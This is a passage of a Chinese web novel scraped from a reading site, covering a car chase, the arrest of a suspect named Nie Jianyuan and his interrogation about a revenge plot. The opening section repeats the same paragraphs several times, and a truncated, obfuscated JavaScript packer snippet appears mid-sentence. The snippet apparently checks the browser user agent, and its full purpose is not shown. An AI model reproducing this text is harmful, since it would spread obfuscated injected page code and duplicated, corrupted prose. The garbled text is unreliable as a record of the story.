但想来想去,太危险还是算了。 要是家里知道他怂恿安暖去玩赛车,肯定会把他活活打死的。 当然,**,安暖没有玩过 赛车。只是上辈子单纯地在迟到和堵车的双重折磨下,练出来一手好车技罢了。 虽然如今这么帅,但当年想起来都是血泪。 车在车流中狂奔,安暖后悔今天没开楚隽的爱车出来,至少比这辆小一点,更好超车。 楚隽感觉自己都能听见一旁的车子骂人的声音,努力摆出一副面无表情的镇定。 骂就骂吧,反正也不知道他是谁,挨几句骂也不会掉块肉。 就这样一路狂飙。 半个小时的路程,二十分钟就到了。 安暖很自信。 “如果乜建元坐的是一辆正常的出租车,他们可能现在还没到。” 楚隽放开抓着安全带的手,长长地呼出口气。 “我觉得你说得对。”楚隽松了口气:“不过答应我,下次只有我坐在你车上的时候,你可以这么开车。要是爷爷,或者爸妈坐你的车,你可不能这样。” 要被吓死的。 “知道了。”安暖摆了摆手,潇洒得不得了。 就这两句话的功夫,一辆出租车开了过来。 两人都不说话了,一起看着。 只要车停下,乜建元从车里下来,就能立刻将人制住。 这费了不少劲儿的案子,说不定就这么结了。 两人盯着那车,越来越近,越来越慢。 可就在离他们还有三十米的地方,出租车开始加速。 赛车。只是上辈子单纯地在迟到和堵车的双重折磨下,练出来一手好车技罢了。 虽然如今这么帅,但当年想起来都是血泪。 车在车流中狂奔,安暖后悔今天没开楚隽的爱车出来,至少比这辆小一点,更好超车。 楚隽感觉自己都能听见一旁的车子骂人的声音,努力摆出一副面无表情的镇定。 骂就骂吧,反正也不知道他是谁,挨几句骂也不会掉块肉。 就这样一路狂飙。 半个小时的路程,二十分钟就到了。 安暖很自信。 “如果乜建元坐的是一辆正常的出租车,他们可能现在还没到。” 楚隽放开抓着安全带的手,长长地呼出口气。 “我觉得你说得对。”楚隽松了口气:“不过答应我,下次只有我坐在你车上的时候,你可以这么开车。要是爷爷,或者爸妈坐你的车,你可不能这样。” 要被吓死的。 “知道了。”安暖摆了摆手,潇洒得不得了。 就这两句话的功夫,一辆出租车开了过来。 两人都不说话了,一起看着。 只要车停下,乜建元从车里下来,就能立刻将人制住。 这费了不少劲儿的案子,说不定就这么结了。 两人盯着那车,越来越近,越来越慢。 可就在离他们还有三十米的地方,出租车开始加速。 赛车。只是上辈子单纯地在迟到和堵车的双重折磨下,练出来一手好车技罢了。 虽然如今这么帅,但当年想起来都是血泪。 车在车流中狂奔,安暖后悔今天没开楚隽的爱车出来,至少比这辆小一点,更好超车。 楚隽感觉自己都能听见一旁的车子骂人的声音,努力摆出一副面无表情的镇定。 骂就骂吧,反正也不知道他是谁,挨几句骂也不会掉块肉。 就这样一路狂飙。 半个小时的路程,二十分钟就到了。 安暖很自信。 “如果乜建元坐的是一辆正常的出租车,他们可能现在还没到。” 楚隽放开抓着安全带的手,长长地呼出口气。 “我觉得你说得对。”楚隽松了口气:“不过答应我,下次只有我坐在你车上的时候,你可以这么开车。要是爷爷,或者爸妈坐你的车,你可不能这样。” 要被吓死的。 “知道了。”安暖摆了摆手,潇洒得不得了。 就这两句话的功夫,一辆出租车开了过来。 两人都不说话了,一起看着。 只要车停下,乜建元从车里下来,就能立刻将人制住。 这费了不少劲儿的案子,说不定就这么结了。 两人盯着那车,越来越近,越来越慢。 可就在离他们还有三十米的地方,出租车开始加速。 赛车。只是上辈子单纯地在迟到和堵车的双重折磨下,练出来一手好车技罢了。 虽然如今这么帅,但当年想起来都是血泪。 车在车流中狂奔,安暖后悔今天没开楚隽的爱车出来,至少比这辆小一点,更好超车。 楚隽感觉自己都能听见一旁的车子骂人的声音,努力摆出一副面无表情的镇定。 骂就骂吧,反正也不知道他是谁,挨几句骂也不会掉块肉。 就这样一路狂飙。 半个小时的路程,二十分钟就到了。 安暖很自信。 “如果乜建元坐的是一辆正常的出租车,他们可能现在还没到。” 楚隽放开抓着安全带的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然如今这么帅,但当年想起来都是血泪。 车在车流中狂奔,安暖后悔今天没开楚隽的爱车出来,至少比这辆小一点,更好超车。 楚隽感觉自己都能听见一旁的车子骂人的声音,努力摆出一副面无表情的镇定。 骂就骂吧,反正也不知道他是谁,挨几句骂也不会掉块肉。 就这样一路狂飙。 半个小时的路程,二十分钟就到了。 安暖很自信。 “如果乜建元坐的是一辆正常的出租车,他们可能现在还没到。” 楚隽放开抓着安全带的手,长长地呼出口气。 “我觉得你说得对。”楚隽松了口气:“不过答应我,下次只有我坐在你车上的时候,你可以这么开车。要是爷爷,或者爸妈坐你的车,你可不能这样。” 要被吓死的。 “知道了。”安暖摆了摆手,潇洒得不得了。 就这两句话的功夫,一辆出租车开了过来。 两人都不说话了,一起看着。 只要车停下,乜建元从车里下来,就能立刻将人制住。 这费了不少劲儿的案子,说不定就这么结了。 两人盯着那车,越来越近,越来越慢。 可就在离他们还有三十米的地方,出租车开始加速。 赛车。只是上辈子单纯地在迟到和堵车的双重折磨下,练出来一手好车技罢了。 虽然如今这么帅,但当年想起来都是血泪。 车在车流中狂奔,安暖后悔今天没开楚隽的爱车出来,至少比这辆小一点,更好超车。 楚隽感觉自己都能听见一旁的车子骂人的声音,努力摆出一副面无表情的镇定。 骂就骂吧,反正也不知道他是谁,挨几句骂也不会掉块肉。 就这样一路狂飙。 半个小时的路程,二十分钟就到了。 安暖很自信。 “如果乜建元坐的是一辆正常的出租车,他们可能现在还没到。” 楚隽放开抓着安全带的手,长长地呼出口气。 “我觉得你说得对。”楚隽松了口气:“不过答应我,下次只有我坐在你车上的时候,你可以这么开车。要是爷爷,或者爸妈坐你的车,你可不能这样。” 要被吓死的。 “知道了。”安暖摆了摆手,潇洒得不得了。 就这两句话的功夫,一辆出租车开了过来。 两人都不说话了,一起看着。 只要车停下,乜建元从车里下来,就能立刻将人制住。 这费了不少劲儿的案子,说不定就这么结了。 两人盯着那车,越来越近,越来越慢。 可就在离他们还有三十米的地方,出租车开始加速。 第339章 追车 出租车一加速,很快就从他们身边开了过去,一直往前开去。 一个人影一晃而过。 出租车上,驾驶位的后座上坐着个人。 隔着窗子惊鸿一瞥,安暖不能确定那个人乜建元,但看起来确实是一个年轻男人。 没有那么巧的事情。 乜建元虽然早一步离开,但是出租车肯定没有她的车快。比他们晚一步到,也是很正常的事情。 到了门口,看见了他们的车。 因为安暖喜欢,这段时间他们日常代步的都是越野。 这车打眼,停在路上,很多人路过都会忍不住看一眼。 刚才,他们就是将车停在学校门口的。如果乜建元路过,很可能就看见了。 一辆刚才停在学校门口的车,现在停在这里,立刻就能想明白发生了什么事情。 楚隽道:“追上去。” 说完,他紧紧地握住了车旁边的扶手。 安暖正常开车都挺猛,现在追车,那更可怕了。 但好在,没有她追不上的车。 楚隽从口袋里摸出了枪。 安暖一脚油门就踩了下去。 乜建元不可能和出租车司机一伙,要么,出租车司机现在还什么都不知道,只知道车上坐的乘客要他往前开,开快点。 要么,乜建元用了某些手段,比如挟持了司机。 不管怎么样,追上去再说。 安暖的车比出租车好,安暖的车技也比出租车司机好,很快就追了上去。 这路不允许两辆车并排,但安暖也不着急,只是在后面按喇叭。 这一片她没有来过,不知道前方是什么路况。 但不管是什么路况,不外乎两种。 路可能越开越窄,后面汽车就进不去了,那样对方必然要停车。只要停车,就好办了。 楚隽总不能拿不下一个学生。 也可能越开越宽,冲上大路。 安暖已经做好了准备,只要到了能超车的宽度,在第一时间逼停对方。 就她现在这车,不用考虑,可以直接硬碰硬。 硬碰硬,可能受伤的是对方车上的人。可如果让车冲上大路,路上有其他车,还有行人,骑自行车的人,很有可能会造成更大的伤害。 楚隽拔枪在窗口,试着瞄准了一下。 “怎么样?”安暖说:“能打它车胎,让车停下来吗?” “不太行。” 楚隽说:“可能会翻。” “那就看我的。” 安暖毫不犹豫地说:“坐好了。” 楚隽顿时感到头皮发麻。 他可没忘记,就在不久之前,安暖是干过同样的事情的。 当然,那一次比这一次更惊险。 那次他真是一点心理准备都没有,看着安暖开车撞上凶手的那一瞬间,一身的血都凉了,连自己被爷爷打死埋在哪儿都想好了。 现在好一点。 总算是给了他一点心理准备。 安暖还安慰他。 “没事儿,车速慢,不会出事的。” 安暖的命也是命,她心里是有数的。 上一次也有数。 那也是对方的车刚起步,速度非常有限的时候,两辆车相撞,问题不大。就算是抖一抖,也不会翻车,不会有什么危险。 如果是让她在路上,去撞高速行驶的汽车,那她疯了也不会去的。 凶手跑了,还能追。 自己的命,没了可就没了。 而且,出租车上还有无辜的司机呢,无论什么时候,警方抓凶手,也要顾及到无辜群众的安全,那也不是极限一换一的。 楚隽觉得他是相信安暖的,但是安暖一个看着柔柔弱弱,拎二斤苹果走不动三里地的姑娘,有时候可真狂暴。 说时迟,那时快。 安暖看着前面的路,觉得时机来了。 那是个巷子,从巷子穿过去,那边应该就能上马路。 巷子挺宽,可以并行两辆车,一眼望去,巷子里即没有人,也没有车,空荡荡的。 安暖说了句抓好了,一脚就踩下油门。 楚隽身体往前一扑,又被安全带往后一拽。 抽空看一眼安暖,安暖冷冷地盯着前方的车,淡定得可怕。 安暖就这么,在两辆车非常艰难交汇的宽度里,冲到了出租车前面。 又是一次擦肩。 两辆车离的距离之近,对方的倒后镜直接刮蹭到了越野,发出刺耳的难听的声音,歪斜地扭曲了。 但这一次,楚隽看清楚了。 后座的人,就是乜建元。 表情看不清楚,但是他有一只手往前伸去,很可能是挟持了司机。 安暖将车开到了出租车前面之后,立刻一转方向盘,踩下刹车减速。 她这车吨位重,还进行过改装,硬碰硬也能把对方逼停。 出租车里,乜建元的表情有些狰狞,他一个劲儿地催促司机。 “撞他,冲过去。” 司机脖子上架着把匕首,瑟瑟发抖。 “冲冲冲,冲不过去啊。他们那车大,我们这车小。” 安暖已经将刹车踩到底。 出租车司机多少也是有点糊弄乜建元的,毕竟这个年代会开车的人不多,对汽车的原理,有多大的冲击力,也不会太清楚。 他虽然努力表现出自己已经开得很猛了,但油门肯定没踩到底,要不然的话,也不是这个马力。 楚隽打开了车窗,用枪指着出租车喊到。 “停车,下来。乜建元,你已经跑不掉了。” 乜建元的匕首还架在司机脖子上,安暖转头看了一下,低声道:“楚隽,我要倒车了。” “好。” 匕首虽然很锋利,但匕首的角度是很重要的。 乜建元虽然筹谋多日,计算良多,但毕竟是个学生。不是真的杀过人,唯一付诸行动的,也就是设计让向浩然出车祸。 其他的,怕是没干过杀人的事情。 给他一把刀,他知道架在别人的脖子上用来威胁。 这是人的本能。 更多的事情,就不知道了。 比如说,刀应该怎么拿,自己应该坐在什么方位,什么角度什么力度把刀架在别人的脖子上,可以最快地应对外界的冲击。 就他现在这个姿势,吓唬吓唬人是可以的,但根本不稳当。 只要一个猛烈的撞击,他就得滚到车后座去。 司机敢糊弄乜建元,就证明有点胆子和脑子。这种人,是时刻准备好逃跑,只要提供机会,就能抓住的。 第340章 最后一面 安暖现在就要给他提供这个机会。 只要司机跑了,剩下一个乜建元,不成气候,简单拿捏。 楚隽在晃荡中,举起枪,对准后车。 千百次的训练,无论在复杂动荡的环境,举枪的手也稳若磐石。 越野车在和出租车一阵拉锯之后,突然,往后倒车。 出租车往前冲,越野车往后退,猝不及防之下,轰的撞在了一起。 两辆车都受到了冲击,两辆车上的人,也不可避免地剧烈一晃。 晃得最厉害的那个,是乜建元。 两边的司机都是系了安全带的,只是被拽了一下。 楚隽在副驾驶,也系了安全带。 只有乜建元,他坐在司机后面,还探出了半个身子,拿着匕首。 他没系安全带,在汽车这种,虽然看着狭小的空间里,猛地往后滚去。 匕首差一点没拿稳,掉在了死伤。 司机的反应也是很快的,一见匕首离开了自己的脖子,立刻就解开了安全带,飞快的打开车门冲了出去。 乜建元是个瘦瘦的年轻人,司机虽然不多健壮,也是个成年人。 之所以司机会被挟持,是因为没有防备下,一把匕首架在了脖子上。 有雾气的人,当然是占着上风的。 真要是两个人都空手,或者都有武器,一对一,乜建元未必就是司机的对手。 刀又不是枪,司机想得可明白了,只要把自己的脖子从乜建元的匕首下面拿来,那就不怕了。 就算是没人帮忙,他也能把乜建元打趴下。 今天可真是气死了。 本来生意不好就没赚到几个钱,回家可能老婆不会给好脸色。竟然还碰到了打劫的。 呸,晦气。 撞完之后,安暖就死死踩下了刹车。 楚隽立刻推门出去。 司机往前跑,楚隽往后跑。 乜建元刚那一下被颠得七荤八素,脑袋撞在了一旁的架子上,只觉得嗡嗡的。 强忍着眩晕想要追上司机,车门已经开了。 黑洞洞的枪口,指着他。 “举起手来。”楚隽冷冷说:“我是京市市局刑警队队长楚隽,乜建元,你现在放下匕首,走出来。” 乜建元手里还拿着匕首。 但这匕首只能用来吓唬吓唬普通人民观众。 想要用来对付楚隽,就不太可能。 安暖也解开安全带,从车上下来了。 她对楚隽能对付乜建元一点儿怀疑也没有,所以先绕到车后面,看了看越野车屁股。 哎,可怜了她的车,真是多灾多难。 出租车司机死里逃生,惊魂未定,任何猛的一拍脑袋,也赶紧去看自己的车。 他的车头被连着撞了几下,也是伤痕累累。 于是两个人就并肩站在一起,一个看车头,一个看车屁股,一起叹气。 “哎……” 安暖想了想,这个年代汽车已经有保险了,就是不知道这种情况,保险赔不赔。 不过她这车的保险也不在自己名下,坏了也是楚隽开去修的。 这边还没哀悼完,那边,乜建元下车了。 他的脑子还是清楚的,要不然也不会在看见越野的第一时间里,连车都没下,就逼着司机赶紧离开。 他赌的不是越野追不上出租车,而是他没有露脸,楚隽他们,不知道他过来了。 只要被发现,就没有机会跑了。 现在被发现了。 面对拿着枪的楚隽,乜建元无路可跑。 “你就是乜建元。”安暖走了过来:“跑挺快,脑子挺好使啊。” 乜建元是个高瘦的学生,美术生,有点艺术家气息,头发比一般男士要长一些,刘海遮了眼睛,露出一种有些阴霾的气息。 “还是被你们抓到了。” 乜建元慢慢地举起手,从车上下来。 “你们能找到学校去,我很意外。” “别意外了。”楚隽凉凉地说:“你能跑那么快,我们才意外呢。” 他往身后一摸,一副手铐。 然后就把人拷上了。 有什么话,回局里说吧。 “等一下,等一下。” 乜建元突然说。 “怎么了?” 楚隽把枪插回去。 乜建元说:“我……能不能去看一下妹妹?” “你说小荷?” “是。” 乜建元用一种哀求的眼神看着楚隽。 “我就看看她,和她说两句话就行……她就住在那里……那边那个房子。” 乜建元指了一下。 就在巷子口的地方。 乜建元果然是来看小荷的,只是进来就看见了停在不远处的越野,顿时觉得不妙。 当时他第一个反应就是这里不能停车下车了,于是立刻跟司机师傅说,不看了,走吧。从这里穿过去,回学校。 当时司机师傅也没觉得有什么不妥。 他做了这么多年的司机,乘客在车上改变路线,临时改变行程,这都是太正常的事情了。 乜建元还说:“我赶时间,麻烦你开快一点。” 司机师傅也没有起疑心。 于是一脚油门就将准备停下的出租车提了速,准备开过去。 可是这个时候,安暖和楚隽发现了他。 安暖二话不说开车就追。 这一追,司机就发现不对劲了。 越野不是警车,司机师傅开始还没想那么多。 但是不管怎么样,有人追,就要停啊。 有人追,就代表有人找你有事儿,肯定要停下来问一句怎么了? 司机师傅正要踩刹车,就看见后座的乜建元伸了一只手过来,手上还握着一把匕首。 “别停,快走。” 乜建元阴森森的声音在司机师傅耳边响起。 当时人就麻了。 然后就被抓了。 乜建元说:“警察叔叔,求你了,我想再看她一眼。我知道,我可能很长时间都看不见她了。她下周过生日,我答应她,要来给她过生日的。” 大部分的人,是没有纯粹的好和坏的。 坏人的坏,有迹可循。 好人的好,也有限制。 楚隽想了想,也不是那么冷血无情。 “可以。” 楚隽喊了安暖一声。 安暖从车里拿出件外套走过来。 楚隽将外套给乜建元搭在手上,这才拽着他的胳膊,去见小荷。 小姑娘今年十五岁,虽然不是孩子,也还是个小姑娘,别吓着了。 乜建元看着楚隽的目光,十分感激。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第341章 告别 楚隽押着乜建元走到了房子前面,乜建元敲了敲门。 “小荷,你在家吗?哥哥来看你了。” 喊了两声,门开了。 一个小姑娘走了出来。 她看见乜建元十分高兴。 “哥,你来了?” 福利院里有很多孩子,男孩子女孩子,大的小的,健全的,有生理缺陷的。 有人的地方就有江湖,就会有群体。 有人会独行,有人就会抱团取暖。 乜建元和小荷的关系,就特别的好。 虽然他们俩的年龄不一样,可是乜建元曾今也有一个和小荷年纪相仿的妹妹,可是现在已经不在人世。所以在他心里,便一直把小荷当做自己妹妹的替身,对小荷好,就好像是对自己的妹妹好一般。 “我来了。”乜建元看见小荷,笑了一下,笑得怪心酸的。 小荷说:“哥哥,你怎么现在来了,不是应该在上学吗?” “哦。”乜建元随便找了个理由:“我有事儿路过这里,就来看看你。” “哦。” 小姑娘没有起疑心。 乜建元这样的人,不管他们在外面多凶狠,计划多恶毒,都会留一块洁白无辜的,放在自己在意的人面前。 让对方觉得自己是天下最好的好人。 安暖非常懂这种心理。 其实他们在意的,并非对方觉得自己是好人,并不是真的害怕伤害对方。 他们在意的,是自己。 没有人真正地因为自己做坏事而高兴得意,就算是恶贯满盈的人,也会喜欢自己是个好人。 可他偏偏又做不了好人。 只要对某一个人好,或者做某一件好事。那么在这个特定的人面前,在做这件事情的时候,他就可以欺骗自己。 看,其实我是个好人。 乜建元说:“小荷,哥哥有件事情要跟你说。” “什么事情呀?” 乜建元说:“你马上过生日,哥哥可能去不了了。” 小荷一听,立刻就撅起了嘴。 “为什么呀,哥哥,你不是答应我,一定要来的吗?” “是,我是答应你一定要给你过生日的。”乜建元说:“可是没办法,学校里突然有任务,要安排我们出去学习,可能要去很远的地方,要去挺长时间的。” 小荷今年已经十六岁了,不是六岁,不是那么好糊弄的了。 站在面前,也是个大姑娘了。 她一听,立刻追问道:“很远的地方,哪里,外国吗?” “对。”乜建元顺着说:“可能要去好几年,如果成绩好的话,还要延期。” 小荷虽然觉得很遗憾,但是也露出一种羡慕又高兴的神情。 “哥哥,那太好了,一定是因为你画画得特别好,老师才会让你去的。你出去以后,要好好学,可不要让老师失望。” “好。”乜建元笑了一下:“我知道了。你也要好好的,等有空,我给你写信。” 乜建元在小荷心里的形象实在是太好了,所以她一点儿也没有怀疑。 道别了,其他的也没有什么说的了。 乜建元这次来得很仓促,甚至都没敢回寝室里收拾东西。给小荷的礼物也放在寝室里,如今,只能是永久的遗憾了。 楚隽还挺有耐心的,没有打断两个人说话。 等他们说完了,这才带着乜建元走了。 小荷站在后面看着。 虽然心里多少觉得有些奇怪,但是也没想太多。 楚隽看着也不像是个坏人,乜建元应该也不会结识不三不四的人。 上了车,还是安暖开车,楚隽押着乜建元坐在后排。 虽然越野的屁股撞得挺惨,但是不影响开,就是丑一点。 一车开回警局。 楚隽先打了个电话,叫朋友过来帮他把车开走修理,然后便进了审讯室。 乜建元知道大局已去,冷静淡定地坐在椅子上,也不知道在想什么,也不说话,情绪也没有太大的变化。 楚隽在对面坐下。 “来吧,说说是怎么回事。为什么要害向浩然,因为他要结婚了?” “对。” “可是,向浩然结婚,关你什么事呢?” “我是为焦雨花打抱不平。”乜建元说:“向浩然既然已经和焦雨花结婚了,怎么还能跟别人结婚?他就应该去陪雨花。” 这真是一场,表面上的冥婚,事实上的殉葬啊。 乜建元既然从学校跑了,就知道自己已经暴露了。 如今也不宁死不屈了。 不屈也没用。 大部分悬案,是因为凶手根本就没有进入视线。 一旦进入了视线,被警方锁定,就很难逃跑了。 证据开始可能不足,但是问着问着,就足了。 一个普通人,很难在警方一遍又一遍的盘问下,保持冷静,一字不错。 翻来覆去地问,正着问反着问,问来问去,一天一夜,正常心理的普通人是很容易崩溃的。 乜建元说:“我有一个妹妹,很小的时候就死了。我之所以对小荷好,因为我觉得她就像是我妹妹。焦雨花,是小荷的朋友。” 她们在一个小学上学。 福利院的孩子,也是要上学的。 如果成绩好,会一直供你上大学。 如今大学生是很少的,有一个考上了大学生,左邻右舍都觉得光荣。福利院也一样。 只要你能考上,自然有人资助,绝对不会让任何一个好苗子因为没钱辍学。 焦雨花和小荷,在同一个小学,不同的班级。 她们俩,是在一个偶尔的情况下认识的。 乜建元说:“焦雨花很可怜,她虽然有父母有哥哥,看似是个家庭健全的人,可其实她比我们还可怜。” 乜建元和小荷在福利院里生活。 要自己照顾自己,也要做一些力所能及的活儿。穿得不会太好,但不会冻着。吃得不会太好,但一般都能吃饱。 孩子和孩子之间,可能会有矛盾,会吵架,哪怕是偶尔打架,也很正常。 但这些和焦雨花一比,都不算是什么苦难。 福利院对在外上学的孩子,都是有统一的补助的。 如果是带饭菜上学的,是什么标准。在学校吃的,是什么标准。肯定不会少了。 但焦雨花在学校每日吃的饭菜,还不如小荷。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第342章 一眼看见尽头 小荷第一次见到焦雨花的时候,就是震惊而诧异的。 我是孤儿,我可怜,我没钱,可是学校里,竟然还有比我更惨的。 小荷是个心地善良的姑娘。 她没有瞧不上比她更惨的焦雨花,而是深深地同情她。而且,愿意力所能及地帮助她。 一来二去的,她和焦雨花就熟悉了。 她一直把乜建元当做自己的哥哥,乜建元那时候每日都会去学校接她放学。 一来二去的,焦雨花自然就和乜建元也熟悉了。 乜建元又多了一个妹妹。 他渐渐了解了,焦雨花过的是什么样的日子。 比孤儿院里的孩子,过的更难的日子。 吃不饱穿不暖,要干家里各种家务活儿,还被非打即骂的对待。经常看见她手上,脸上,胳膊上有伤。 乜建元至今说起来,依然忿忿不平。 “我真是不明白,为什么这世上有这么多人,不爱孩子,却又偏偏要将他们生下来。” 也不知他说的是焦雨花,还是他自己,或者,两者都有。 可惜人性复杂,这个问题的答案就摆在那里,无需回答。 有人就是不爱自己的父母,也有人就是不爱自己的子女。不爱就是不爱,只爱自己。 乜建元对焦雨花充满了同情。 可是他也没有什么办法。 焦家对女儿不好,不是什么秘密,甚至有人报过公安。 但公安来了除了劝说一通之外,也没有更好的办法。 父母打孩子,这是一个社会普遍现象,要是打孩子就要抓进去,那要抓的人就太多了。 而且焦成顺夫妻俩是那种迷惑性特别强的,认错态度特别好,每每被批评教育就表示知道错了,还会抱着女儿抱头痛哭。 焦雨花的年纪毕竟不大,被父母一哄,就心软了。 等公安走后,一切如常。 乜建元和小荷都十分难过,却都无能为力。 这个时候,要是无父无母,说不定还能有逃脱的办法。可谁也没有办法从父母身边抢走孩子。 日子就这样一天一天地过着,一直到那天晚上,向浩然开车撞了焦雨花。 乜建元说:“我知道这事情后,其实并不恨凶手。我知道他不是蓄意杀人,只是个意外。而且,焦雨花的日子过得太苦了,死亡对她来说,是个解脱。如果她没死,再过几年,一定会被家里收一笔彩礼,嫁给一个不喜欢的男人。” 焦雨花虽然那一年只有十三岁,可是悲惨的一生,似乎一眼就能看见尽头。 没有一点希望,想着就叫人觉得窒息。 嫁给一个比她大很多的男人,或者脾气不好的男人,不情不愿地生下几个孩子,然后带孩子做家务伺候男人,等孩子长大,继续带孙子做家务伺候男人。 安暖写着写着,只觉得背后发凉。 这样的人生可不是臆想,是无数人的缩影。 只是细节上略有差别罢了。 安暖不想打断问话的节奏,轻轻地呼出口气。 古往今来,婚姻带给太多女性伤害,却又很难跳出来。逼迫他们的,除了男人,还有同性,比如焦雨花的母亲。 这问题,即便是几十年之后,也依然只是缓解,没办法根治。 乜建元问清楚了焦雨花下葬的日子,就带着小荷过去了。 他知道冥婚的规矩,最好是要找一个替身。 小荷和焦雨花姐妹情深,心甘情愿。 于是那天,乜建元没有出面,小荷说自己是焦雨花的朋友,出现在她的冥婚婚礼上。 谁也不知道她的来历。 焦雨花父母想占便宜,没多问。 其他人自然都以为人是焦雨花父母请来的,也就没有多问。 然后,焦雨花就下葬了。 乜建元说:“我也没有刻意去调查向浩然,只是巧了,我兼职的地方就在向家公司的楼下。向家的少爷要结婚了,这至少在那栋楼不是什么秘密。” 所以乜建元心里就不舒服了。 乜建元说:“我这么做,也不全是为了焦雨花。” “还为了谁?” “为了小荷。” “怎么说?” “当初冥婚,小荷是焦雨花的替身。如今向浩然要结婚了,焦雨花在地下不安宁,那肯定要找小荷麻烦。” 竟然说得很有道理。 安暖忍不住道:“但是向浩然要结婚,这不是很正常的事情吗?他今年才二十几岁,就算是现在没结婚,过几年也要结婚。当年冥婚的时候,没考虑过这一点吗?” 乜建元说:“向浩然自己说的,一辈子不结婚。” 安暖十分无语。 楚隽也无语,但是竟然觉得这是向浩然会说出来的话。 他那种花花公子,一直将婚姻视作囚笼,只会让他失去自由。年纪大了以后会怎么样再说,至少年轻的时候,会很讨厌婚姻。 他今年才二十多,要不是这次的意外,估计至少还要十年八年才会考虑结婚的事情。 乜建元躲的时候,躲得很认真。如今被抓了,也就破罐子破摔了。 过程十分简单,他画了一幅焦雨花的画像,将向浩然引出来之后,将画像挂在墙上。 边上提前放了几个手电筒。 向浩然的车一来,手电打开。 灯光突然亮起,向浩然自然会看过来。 这一看不得了,是曾经被自己害死的女孩。 那还不吓得魂飞魄散。 乜建元说:“我也是碰运气,没想到他运气这么不好,真的就撞死了。” “那如果没撞死呢?你还打算接着动手吗?” “对,肯定还会想其他的办法。”乜建元认真地说:“想救一个人不容易,但是想弄死一个没有防备心的人,真的不难。” 最简单的就是那把匕首揣兜里,找机会靠近,直接捅死。 死亡率很高。 唯一的缺点就是自己也很难跑掉。 所以当向浩然住进医院以后,楚隽让向父一定要做好防范工作,免得凶手二次下杀手。 听乜建元说完,楚隽叹了口气。 “有件事情,你可能还不知道。” “什么事情?” “向浩然,并不是致死焦雨花的凶手。” 乜建元眉头一皱:“怎么可能?” “我是刑警队长,我会跟你瞎说吗?” 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第343章 凶器 乜建元被这个消息惊呆了。 但是楚隽的话确实很有说服力。 他是一个警察,不可能在这么严肃的事情上,跟别人瞎说。这绝对不可能。 “但是,但是我明明……” “你明明知道,当年焦雨花是被撞死的,是被向浩然撞死的,是吧?” “是……” “但你亲眼看见车祸现场了吗?” 乜建元有些茫然地摇了摇头。 那必然是没有的。 “你带焦雨花去医院检查了吗?医生跟你确认,人是死于汽车撞击吗?” 乜建元继续摇头。 安暖在一旁看着,知道乜建元的世界在这一刻崩坏了。 别说乜建元当时不在现场,没有亲眼所见。就算是亲眼所见,除非是第一时间送医或者报案,要不然的话,都没有用。 向浩然倒是全程都在现场呢,那有什么用。酒精加上焦家人的演技,麻痹了他可怜的大脑。 半晌,乜建元终于找回了自己的声音。 “那,那她是怎么死的?” 楚隽说:“被打死的。” “谁?” 乜建元的声音都有些抖。 “暂时还不能确定,但是我可以告诉你,和向浩然没有什么关系。” “我不信。”乜建元颤抖着说:“我不信,向家有钱,你一定是包庇他才这么说的。” 楚隽叹了一口气。 “警方已经重新验尸,对焦雨花的骸骨进行了检验。我现在说的,都是验尸的结果。我说的每一句话,都是有证据支撑的。同样,我抓你,也是有证据的,难道你以为,我是在大街上随便抓一个人,就把他当做凶手吗?” 太炸裂了。 乜建元大概无法想象挖坟这种事情。 就算他的脑子已经够活络了,也依然想不了那么叛逆的事情。 楚隽道:“向家再有钱,我也不会徇私枉法。焦雨花被杀的案子,很快就会真相大白。你如果真的是为她好,就配合警方。” 向浩然的父亲已经和焦成顺达成了一致的意见。 焦成顺已经联系上了他儿子焦名扬。 焦名扬虽然比父亲有见识,但他是个美术生,又没有进入社会。即便心理是有猜疑的,也抵挡不住钱的诱惑。 这事情要是不成,以后向家就算看在所谓亲家的关系上不时补贴他们一点,那钱也非常有限了。可这事情要是成了,那可不是一笔小钱。 上次向浩然给钱还是上次,这次焦成顺夫妻出国,可是花了不少钱。 他们有了向浩然这个提款机之后,对钱越来越没有概念。手越来越松,花钱越来越嚣张。 国人骨子里朴素的思想是穷家富路,在家可能还好点,出去就更克制不住了。 这一趟,上次向浩然给的钱花得七七八八了。 本来也没当回事,想着花完了就花完了呗,回来再找向浩然要点,再给儿子汇过去就是了。 可如今变故突生。 要是弄不到这钱,焦名扬在国外的学业可能都完成不了。 要么,就沦为在国外打黑工。 要么,还是得灰溜溜地回来。 焦家三人一商量。 自古富贵险中求。 有这么一块大馅饼放在面前,无论如何,一定要啃一口。万一啃下来了呢?这可就是一辈子的荣华富贵。 不对,不止一辈子。 焦名扬以后结婚生子,是子孙后代的荣华富贵。 不可限量。 撑死胆大的,饿死胆小的。 上! 焦家的人也怕夜长梦多,怕迟则生变。 这边商量好之后,焦成顺就给出了答复。 抓紧时间让焦名扬回来, 向家对此,十分欣慰。 不过也不敢表现出太明显的态度,免得把人给吓着了。 焦名扬就算是再爱钱,如果知道自己以杀人嫌疑犯的身份回来的,想来也是不愿意的。 好在焦家的人信息渠道,人脉消息非常有限。他们查不到向浩然到底是真死,还是假死。 向浩然之前的伤也伤得货真价实,人人都知道,所以装死是一件自然而然的事情,一点儿都不违和。 不管乜建元伤害向浩然的原因是什么,是认错了人,还是为了报复,伤害就是伤害。 他是冲着要向浩然的命去的。 这是杀人未遂。 就算判不了死刑,十几年也少不了。 一个青葱少年,出来以后就要三十好几了。 十几年的牢狱生涯,会让一个人和外界脱轨,毁了他的精神,出来之后,也会因为留下了案底,受到诸多不平等的待遇。 乜建元这一生,就这么毁了。 其实安暖不太明白,如果这个人是小荷,乜建元为她出头,那还能理解,他是真把小荷当成自己的妹妹一般疼爱。 可是小荷的朋友,这也未免有些爱屋及乌了。 这可不是随手干点什么无伤大雅的小事,这是杀人,值得吗? 但事情已经发生了,值得不值得,已经是既定事实。 